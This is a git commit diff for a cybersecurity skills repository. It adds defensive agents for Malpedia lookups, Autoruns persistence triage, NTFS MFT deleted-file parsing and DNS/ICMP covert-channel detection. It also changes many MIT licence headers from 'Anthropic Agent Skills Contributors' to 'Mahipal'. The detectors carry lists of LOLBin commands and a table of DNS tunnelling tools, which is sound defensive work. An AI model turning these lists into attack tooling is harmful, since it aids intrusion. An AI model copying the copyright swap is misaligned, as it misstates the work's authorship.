Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal

- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
This commit is contained in:
mukul975
2026-03-11 00:22:12 +01:00
parent 27c6414ca5
commit c21af3347e
1244 changed files with 61622 additions and 723 deletions
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,68 @@
# API Reference: Malpedia Malware Family Analysis
## Base URL
```
https://malpedia.caad.fkie.fraunhofer.de/api
```
## Authentication
```
Authorization: apitoken YOUR_API_KEY
```
## List Families
```
GET /list/families
```
Returns dict of `{family_name: {alt_names, description, attribution, urls}}`.
## Get Family Details
```
GET /get/family/{family_name}
```
| Field | Description |
|-------|-------------|
| `common_name` | Primary family name |
| `alt_names` | List of alternative names |
| `description` | Family description |
| `attribution` | List of attributed threat actors |
| `urls` | Reference URLs |
## Get YARA Rules
```
GET /get/yara/{family_name}
```
Returns dict of YARA rules keyed by rule source.
## List Actors
```
GET /list/actors
```
Returns dict of `{actor_name: {alt_names, description, families}}`.
## Get Actor Details
```
GET /get/actor/{actor_name}
```
| Field | Description |
|-------|-------------|
| `common_name` | Actor name |
| `description` | Actor profile |
| `families` | Associated malware families |
| `alt_names` | Alternative names (APT designations) |
## Get Sample
```
GET /get/sample/{sha256}
GET /get/sample/{sha256}/zip
```
## Relationship Types
| Relation | Description |
|----------|-------------|
| `also_known_as` | Family alias |
| `shared_actor` | Families used by same threat actor |
| `variant_of` | Derived malware variant |
## MITRE ATT&CK
- T1587.001 - Develop Capabilities: Malware
@@ -0,0 +1,154 @@
#!/usr/bin/env python3
"""Malpedia Malware Family Relationship Agent - Queries Malpedia API for malware family intelligence."""
import json
import logging
import argparse
from datetime import datetime
from collections import defaultdict
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
MALPEDIA_API = "https://malpedia.caad.fkie.fraunhofer.de/api"
def malpedia_get(endpoint, api_key):
"""Make authenticated GET request to Malpedia API."""
headers = {"Authorization": f"apitoken {api_key}"}
resp = requests.get(f"{MALPEDIA_API}{endpoint}", headers=headers, timeout=30)
resp.raise_for_status()
return resp.json()
def list_families(api_key):
"""List all malware families from Malpedia."""
data = malpedia_get("/list/families", api_key)
logger.info("Retrieved %d malware families", len(data))
return data
def get_family_info(family_name, api_key):
"""Get detailed info for a malware family."""
return malpedia_get(f"/get/family/{family_name}", api_key)
def get_family_yara(family_name, api_key):
"""Get YARA rules for a malware family."""
return malpedia_get(f"/get/yara/{family_name}", api_key)
def list_actors(api_key):
"""List all threat actors from Malpedia."""
data = malpedia_get("/list/actors", api_key)
logger.info("Retrieved %d threat actors", len(data))
return data
def get_actor_info(actor_name, api_key):
"""Get detailed info for a threat actor."""
return malpedia_get(f"/get/actor/{actor_name}", api_key)
def build_family_graph(families_data):
"""Build relationship graph between malware families."""
relationships = []
family_actors = defaultdict(list)
for family_name, info in families_data.items():
if not isinstance(info, dict):
continue
alt_names = info.get("alt_names", [])
actors = info.get("attribution", [])
urls = info.get("urls", [])
for actor in actors:
family_actors[actor].append(family_name)
for alt in alt_names:
relationships.append({
"source": family_name,
"target": alt,
"relation": "also_known_as",
})
for actor, actor_families in family_actors.items():
if len(actor_families) > 1:
for i in range(len(actor_families)):
for j in range(i + 1, len(actor_families)):
relationships.append({
"source": actor_families[i],
"target": actor_families[j],
"relation": "shared_actor",
"actor": actor,
})
return relationships, dict(family_actors)
def analyze_family(family_name, api_key):
"""Analyze a specific malware family and its relationships."""
info = get_family_info(family_name, api_key)
result = {
"family": family_name,
"description": info.get("description", ""),
"alt_names": info.get("alt_names", []),
"attribution": info.get("attribution", []),
"urls": info.get("urls", [])[:10],
"common_name": info.get("common_name", ""),
}
try:
yara_data = get_family_yara(family_name, api_key)
result["yara_rule_count"] = len(yara_data) if isinstance(yara_data, dict) else 0
except requests.RequestException:
result["yara_rule_count"] = 0
return result
def generate_report(families_analyzed, relationships, actor_map):
"""Generate malware family relationship report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"families_analyzed": len(families_analyzed),
"relationships_found": len(relationships),
"actors_mapped": len(actor_map),
"family_details": families_analyzed,
"relationships": relationships[:200],
"actor_family_map": {a: f for a, f in list(actor_map.items())[:50]},
}
print(f"MALPEDIA REPORT: {len(families_analyzed)} families, {len(relationships)} relationships, {len(actor_map)} actors")
return report
def main():
parser = argparse.ArgumentParser(description="Malpedia Malware Family Analysis Agent")
parser.add_argument("--api-key", required=True, help="Malpedia API key")
parser.add_argument("--family", help="Specific family to analyze")
parser.add_argument("--list-families", action="store_true")
parser.add_argument("--build-graph", action="store_true", help="Build full relationship graph")
parser.add_argument("--output", default="malpedia_report.json")
args = parser.parse_args()
families_analyzed = []
relationships = []
actor_map = {}
if args.family:
result = analyze_family(args.family, args.api_key)
families_analyzed.append(result)
elif args.build_graph:
all_families = list_families(args.api_key)
relationships, actor_map = build_family_graph(all_families)
elif args.list_families:
all_families = list_families(args.api_key)
families_analyzed = [{"family": k, "alt_names": v.get("alt_names", []) if isinstance(v, dict) else []} for k, v in list(all_families.items())[:100]]
report = generate_report(families_analyzed, relationships, actor_map)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,60 @@
# API Reference: Autoruns Persistence Analysis
## Autoruns CLI (autorunsc.exe)
```cmd
autorunsc.exe -a * -c -h -s -v -vt -o autoruns.csv
```
| Flag | Description |
|------|-------------|
| `-a *` | All autostart categories |
| `-c` | CSV output |
| `-h` | Show file hashes |
| `-s` | Verify digital signatures |
| `-v` | Verify signatures against catalog |
| `-vt` | Check VirusTotal |
| `-o` | Output file |
## CSV Columns
| Column | Description |
|--------|-------------|
| Time | Entry timestamp |
| Entry Location | Registry key or path |
| Entry | Entry name |
| Enabled | enabled/disabled |
| Category | Autoruns category |
| Description | File description |
| Company | Publisher name |
| Image Path | Full binary path |
| Launch String | Complete command line |
| MD5 / SHA-1 / SHA-256 | File hashes |
| Signer | Code signing status |
| VT detection | VirusTotal ratio (e.g., "5/72") |
## Autostart Categories
| Category | Examples |
|----------|---------|
| Logon | Run/RunOnce keys, Startup folder |
| Services | Windows services |
| Drivers | Kernel drivers |
| Scheduled Tasks | Task Scheduler entries |
| Winlogon | Shell, Userinit, Notify |
| WMI | Event subscriptions |
| AppInit | AppInit_DLLs |
| Boot Execute | BootExecute values |
| Image Hijacks | IFEO debugger entries |
| LSA Providers | Authentication packages |
## Suspicious Indicators
| Indicator | Significance |
|-----------|-------------|
| VT detection > 0 | Known malware |
| Unsigned binary | Potential unsigned malware |
| LOLBin in launch string | Living-off-the-land |
| Path in %TEMP% or %PUBLIC% | Staging location |
| Missing company info | Suspicious unsigned entry |
## MITRE ATT&CK Persistence
- T1547.001 - Registry Run Keys / Startup Folder
- T1053.005 - Scheduled Task
- T1543.003 - Windows Service
- T1546.003 - WMI Event Subscription
@@ -0,0 +1,153 @@
#!/usr/bin/env python3
"""Autoruns Persistence Analysis Agent - Analyzes Windows autostart entries for malware persistence."""
import json
import csv
import os
import re
import logging
import argparse
from datetime import datetime
from collections import Counter
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
SUSPICIOUS_PATHS = [
r"\\temp\\", r"\\tmp\\", r"\\appdata\\local\\temp",
r"\\public\\", r"\\programdata\\", r"\\users\\default",
r"\\recycler\\", r"\\windows\\debug",
]
SUSPICIOUS_COMMANDS = [
"powershell", "cmd.exe /c", "wscript", "cscript", "mshta",
"regsvr32", "rundll32", "certutil", "bitsadmin",
"schtasks", "msiexec /q", "forfiles",
]
KNOWN_PERSISTENCE_LOCATIONS = [
"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
"HKLM\\SYSTEM\\CurrentControlSet\\Services",
"Task Scheduler",
"Startup Folder",
"WMI",
]
def parse_autoruns_csv(csv_file):
"""Parse Autoruns CSV export file."""
entries = []
with open(csv_file, "r", encoding="utf-8-sig", errors="ignore") as f:
reader = csv.DictReader(f, delimiter=",")
for row in reader:
entries.append({
"time": row.get("Time", ""),
"entry_location": row.get("Entry Location", ""),
"entry": row.get("Entry", ""),
"enabled": row.get("Enabled", ""),
"category": row.get("Category", ""),
"profile": row.get("Profile", ""),
"description": row.get("Description", ""),
"company": row.get("Company", ""),
"image_path": row.get("Image Path", ""),
"version": row.get("Version", ""),
"launch_string": row.get("Launch String", ""),
"md5": row.get("MD5", ""),
"sha1": row.get("SHA-1", ""),
"sha256": row.get("SHA-256", ""),
"signer": row.get("Signer", ""),
"vt_detection": row.get("VT detection", ""),
})
logger.info("Parsed %d autoruns entries from %s", len(entries), csv_file)
return entries
def analyze_entry(entry):
"""Analyze a single autoruns entry for suspicious indicators."""
findings = []
image_path = (entry.get("image_path") or "").lower()
launch_string = (entry.get("launch_string") or "").lower()
signer = entry.get("signer") or ""
vt = entry.get("vt_detection") or ""
company = entry.get("company") or ""
for pattern in SUSPICIOUS_PATHS:
if re.search(pattern, image_path, re.IGNORECASE):
findings.append({"type": "Suspicious file path", "severity": "high", "detail": image_path})
break
for cmd in SUSPICIOUS_COMMANDS:
if cmd.lower() in launch_string:
findings.append({"type": "LOLBin in launch string", "severity": "high", "detail": cmd})
break
if signer in ("(Not verified)", "") or "(Not verified)" in signer:
findings.append({"type": "Unsigned binary", "severity": "medium", "detail": signer})
if vt and "/" in vt:
try:
detections, total = vt.split("/")
if int(detections.strip()) > 0:
findings.append({"type": "VirusTotal detections", "severity": "critical", "detail": vt})
except (ValueError, AttributeError):
pass
if not company and entry.get("enabled") == "enabled":
findings.append({"type": "No company info", "severity": "low", "detail": "Enabled entry without publisher"})
return findings
def analyze_all_entries(entries):
"""Analyze all autoruns entries and generate findings."""
all_findings = []
for entry in entries:
entry_findings = analyze_entry(entry)
if entry_findings:
all_findings.append({
"entry": entry.get("entry"),
"location": entry.get("entry_location"),
"category": entry.get("category"),
"image_path": entry.get("image_path"),
"findings": entry_findings,
"max_severity": max((f["severity"] for f in entry_findings), key=lambda s: {"critical": 4, "high": 3, "medium": 2, "low": 1}.get(s, 0)),
})
return all_findings
def generate_report(entries, findings):
"""Generate persistence analysis report."""
categories = Counter(e.get("category", "Unknown") for e in entries)
critical = [f for f in findings if f["max_severity"] == "critical"]
report = {
"timestamp": datetime.utcnow().isoformat(),
"total_entries": len(entries),
"enabled_entries": len([e for e in entries if e.get("enabled") == "enabled"]),
"suspicious_entries": len(findings),
"critical_entries": len(critical),
"category_breakdown": dict(categories.most_common()),
"findings": findings,
}
print(f"AUTORUNS REPORT: {len(entries)} entries, {len(findings)} suspicious, {len(critical)} critical")
return report
def main():
parser = argparse.ArgumentParser(description="Autoruns Persistence Analysis Agent")
parser.add_argument("--csv-file", required=True, help="Autoruns CSV export file")
parser.add_argument("--output", default="autoruns_report.json")
args = parser.parse_args()
entries = parse_autoruns_csv(args.csv_file)
findings = analyze_all_entries(entries)
report = generate_report(entries, findings)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,55 @@
# API Reference: NTFS MFT Analysis
## MFT Entry Structure (1024 bytes)
| Offset | Size | Field |
|--------|------|-------|
| 0 | 4 | Signature ("FILE") |
| 18 | 2 | Sequence number |
| 20 | 2 | First attribute offset |
| 22 | 2 | Flags (0x01=in use, 0x02=directory) |
## MFT Attribute Types
| Type ID | Name | Description |
|---------|------|-------------|
| 0x10 | $STANDARD_INFORMATION | Timestamps, flags, owner |
| 0x20 | $ATTRIBUTE_LIST | List of attributes in other entries |
| 0x30 | $FILE_NAME | Filename and parent reference |
| 0x40 | $OBJECT_ID | Unique object identifier |
| 0x50 | $SECURITY_DESCRIPTOR | ACL and ownership |
| 0x60 | $VOLUME_NAME | Volume label |
| 0x80 | $DATA | File content (resident or non-resident) |
| 0x90 | $INDEX_ROOT | Directory index root |
| 0xA0 | $INDEX_ALLOCATION | Directory index entries |
| 0xB0 | $BITMAP | Bitmap for index allocation |
## $STANDARD_INFORMATION Timestamps
| Offset | Size | Field |
|--------|------|-------|
| 0 | 8 | Creation time (FILETIME) |
| 8 | 8 | Modification time |
| 16 | 8 | MFT modification time |
| 24 | 8 | Access time |
## $FILE_NAME Structure
| Offset | Size | Field |
|--------|------|-------|
| 0 | 8 | Parent directory reference |
| 64 | 1 | Filename length (chars) |
| 65 | 1 | Namespace (0=POSIX, 1=Win32, 2=DOS) |
| 66 | var | Filename (UTF-16LE) |
## FILETIME Conversion
```python
FILETIME_EPOCH = datetime(1601, 1, 1)
dt = FILETIME_EPOCH + timedelta(microseconds=filetime // 10)
```
## Tools
```bash
# Extract MFT with FTK Imager or raw copy
icat /dev/sda1 0 > $MFT
# analyzeMFT
analyzeMFT.py -f $MFT -o mft.csv
# MFTECmd (Eric Zimmerman)
MFTECmd.exe -f $MFT --csv output/
```
@@ -0,0 +1,159 @@
#!/usr/bin/env python3
"""MFT Deleted File Recovery Agent - Parses NTFS Master File Table for deleted file artifacts."""
import json
import struct
import os
import logging
import argparse
from datetime import datetime, timedelta
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
MFT_ENTRY_SIZE = 1024
FILETIME_EPOCH = datetime(1601, 1, 1)
def filetime_to_dt(ft):
"""Convert FILETIME to datetime."""
if ft == 0:
return None
try:
return FILETIME_EPOCH + timedelta(microseconds=ft // 10)
except (OverflowError, OSError):
return None
def parse_mft_entry(data, offset=0):
"""Parse a single MFT entry."""
if len(data) < offset + 48:
return None
signature = data[offset:offset + 4]
if signature != b"FILE":
return None
flags = struct.unpack_from("<H", data, offset + 22)[0]
seq_number = struct.unpack_from("<H", data, offset + 18)[0]
first_attr_offset = struct.unpack_from("<H", data, offset + 20)[0]
entry = {
"flags": flags,
"in_use": bool(flags & 0x01),
"is_directory": bool(flags & 0x02),
"sequence_number": seq_number,
"attributes": [],
}
attr_offset = offset + first_attr_offset
while attr_offset + 4 <= len(data):
attr_type = struct.unpack_from("<I", data, attr_offset)[0]
if attr_type == 0xFFFFFFFF:
break
attr_length = struct.unpack_from("<I", data, attr_offset + 4)[0]
if attr_length == 0 or attr_offset + attr_length > len(data):
break
if attr_type == 0x10: # $STANDARD_INFORMATION
if attr_offset + 24 + 32 <= len(data):
si_offset = attr_offset + struct.unpack_from("<H", data, attr_offset + 20)[0]
if si_offset + 32 <= len(data):
entry["created"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset)[0]))
entry["modified"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset + 8)[0]))
entry["mft_modified"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset + 16)[0]))
entry["accessed"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset + 24)[0]))
elif attr_type == 0x30: # $FILE_NAME
non_res = struct.unpack_from("<B", data, attr_offset + 8)[0]
if non_res == 0:
fn_offset = attr_offset + struct.unpack_from("<H", data, attr_offset + 20)[0]
if fn_offset + 66 <= len(data):
parent_ref = struct.unpack_from("<Q", data, fn_offset)[0] & 0xFFFFFFFFFFFF
name_len = data[fn_offset + 64] if fn_offset + 64 < len(data) else 0
name_ns = data[fn_offset + 65] if fn_offset + 65 < len(data) else 0
if fn_offset + 66 + name_len * 2 <= len(data):
filename = data[fn_offset + 66:fn_offset + 66 + name_len * 2].decode("utf-16-le", errors="ignore")
entry["filename"] = filename
entry["parent_ref"] = parent_ref
entry["name_type"] = {0: "POSIX", 1: "Win32", 2: "DOS", 3: "Win32+DOS"}.get(name_ns, "Unknown")
attr_offset += attr_length
return entry
def parse_mft_file(mft_path):
"""Parse an extracted MFT file."""
entries = []
with open(mft_path, "rb") as f:
data = f.read()
total_entries = len(data) // MFT_ENTRY_SIZE
for i in range(total_entries):
offset = i * MFT_ENTRY_SIZE
entry = parse_mft_entry(data, offset)
if entry:
entry["record_number"] = i
entries.append(entry)
logger.info("Parsed %d MFT entries (%d total records)", len(entries), total_entries)
return entries
def find_deleted_files(entries):
"""Find deleted file entries in MFT."""
deleted = [e for e in entries if not e["in_use"] and e.get("filename")]
logger.info("Found %d deleted file entries", len(deleted))
return deleted
def analyze_deleted_files(deleted):
"""Analyze deleted files for forensic significance."""
findings = []
suspicious_extensions = {".exe", ".dll", ".ps1", ".bat", ".cmd", ".vbs", ".js", ".hta", ".scr"}
for entry in deleted:
fname = entry.get("filename", "").lower()
ext = os.path.splitext(fname)[1]
if ext in suspicious_extensions:
findings.append({
"record": entry["record_number"],
"filename": entry.get("filename"),
"type": "Deleted executable/script",
"severity": "high",
"modified": entry.get("modified"),
})
return findings
def generate_report(entries, deleted, findings):
"""Generate MFT analysis report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"total_entries": len(entries),
"active_entries": len([e for e in entries if e["in_use"]]),
"deleted_entries": len(deleted),
"suspicious_deleted": len(findings),
"findings": findings[:100],
"deleted_files": [{"record": d["record_number"], "filename": d.get("filename"), "modified": d.get("modified")} for d in deleted[:200]],
}
print(f"MFT REPORT: {len(entries)} entries, {len(deleted)} deleted, {len(findings)} suspicious")
return report
def main():
parser = argparse.ArgumentParser(description="MFT Deleted File Recovery Agent")
parser.add_argument("--mft-file", required=True, help="Path to extracted $MFT file")
parser.add_argument("--output", default="mft_report.json")
args = parser.parse_args()
entries = parse_mft_file(args.mft_file)
deleted = find_deleted_files(entries)
findings = analyze_deleted_files(deleted)
report = generate_report(entries, deleted, findings)
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,87 @@
# API Reference: Network Covert Channel Detection
## Scapy - Packet Analysis
### DNS Tunneling Detection
```python
from scapy.all import rdpcap, DNS, DNSQR, IP
packets = rdpcap("capture.pcap")
for pkt in packets:
if pkt.haslayer(DNSQR):
qname = pkt[DNSQR].qname.decode().rstrip(".")
src = pkt[IP].src
qtype = pkt[DNSQR].qtype # 1=A, 16=TXT, 28=AAAA
```
### ICMP Payload Extraction
```python
from scapy.all import ICMP, Raw
for pkt in packets:
if pkt.haslayer(ICMP) and pkt.haslayer(Raw):
payload = bytes(pkt[Raw].load)
icmp_type = pkt[ICMP].type # 8=echo-request, 0=echo-reply
```
## Zeek - Covert Channel Detection
### DNS Tunneling Indicators
```zeek
@load base/protocols/dns
event dns_request(c: connection, msg: dns_msg, query: string, qtype: count) {
if (|query| > 60)
print fmt("Long DNS query: %s from %s", query, c$id$orig_h);
}
```
### Configuration
```bash
zeek -r capture.pcap local
# Outputs: dns.log, conn.log, weird.log
```
## tshark - Protocol Filtering
### DNS Analysis
```bash
tshark -r capture.pcap -Y "dns" -T fields \
-e ip.src -e dns.qry.name -e dns.qry.type -e frame.len
# Filter long DNS queries
tshark -r capture.pcap -Y "dns.qry.name matches \"^.{60,}\"" -T fields -e dns.qry.name
```
### ICMP Payload Analysis
```bash
tshark -r capture.pcap -Y "icmp && data.len > 64" -T fields \
-e ip.src -e ip.dst -e icmp.type -e data.len -e data.data
```
## DNS Tunneling Tools
| Tool | Technique | Detection Method |
|------|-----------|-----------------|
| iodine | TXT/NULL/CNAME records | High entropy subdomains |
| dns2tcp | TXT records | Encoded query names |
| dnscat2 | TXT/CNAME/MX/A records | Base32/Base64 subdomain patterns |
| DNSExfiltrator | TXT records | High query volume to single domain |
## Entropy Thresholds
| Range | Interpretation |
|-------|---------------|
| < 2.0 | Normal domain labels (English words) |
| 2.0-3.5 | Possibly encoded but may be legitimate |
| 3.5-5.0 | Likely Base32/Base64 encoded (tunneling) |
| > 5.0 | Encrypted/random data (strong tunneling indicator) |
## Covert Channel Categories
| Channel Type | Protocol | Detection Method |
|-------------|----------|-----------------|
| DNS Tunneling | DNS (53/udp) | Subdomain entropy, query volume |
| ICMP Tunnel | ICMP (type 8/0) | Payload size, entropy, volume |
| HTTP Header | HTTP (80/tcp) | Cookie size, custom header entropy |
| Protocol Abuse | IP options, GRE | Unusual protocol numbers |
| Timing Channel | TCP | Inter-packet timing analysis |
@@ -0,0 +1,191 @@
#!/usr/bin/env python3
"""Network covert channel detection agent for malware traffic analysis.
Detects DNS tunneling, ICMP covert channels, HTTP header steganography,
and protocol abuse in PCAP captures using scapy.
"""
import os
import sys
import json
import math
import hashlib
from collections import Counter, defaultdict
try:
from scapy.all import rdpcap, DNS, DNSQR, DNSRR, ICMP, IP, TCP, UDP, Raw
HAS_SCAPY = True
except ImportError:
HAS_SCAPY = False
def shannon_entropy(data):
"""Calculate Shannon entropy of byte data."""
if not data:
return 0.0
freq = Counter(data)
length = len(data)
return -sum((c / length) * math.log2(c / length) for c in freq.values())
def detect_dns_tunneling(packets, entropy_threshold=3.5, length_threshold=50):
"""Detect DNS tunneling by analyzing query name entropy and length."""
findings = []
dns_queries = defaultdict(list)
for pkt in packets:
if pkt.haslayer(DNSQR):
qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
src = pkt[IP].src if pkt.haslayer(IP) else "?"
labels = qname.split(".")
subdomain = ".".join(labels[:-2]) if len(labels) > 2 else qname
entropy = shannon_entropy(subdomain.encode())
base_domain = ".".join(labels[-2:]) if len(labels) >= 2 else qname
dns_queries[base_domain].append({
"query": qname, "src": src, "entropy": round(entropy, 3),
"subdomain_len": len(subdomain),
})
if entropy > entropy_threshold and len(subdomain) > length_threshold:
findings.append({
"type": "dns_tunneling", "query": qname, "src": src,
"entropy": round(entropy, 3),
"subdomain_length": len(subdomain), "severity": "HIGH",
})
volume_findings = []
for domain, queries in dns_queries.items():
if len(queries) > 100:
avg_entropy = sum(q["entropy"] for q in queries) / len(queries)
if avg_entropy > 3.0:
volume_findings.append({
"type": "dns_high_volume", "domain": domain,
"query_count": len(queries),
"avg_entropy": round(avg_entropy, 3), "severity": "HIGH",
})
return findings[:50], volume_findings
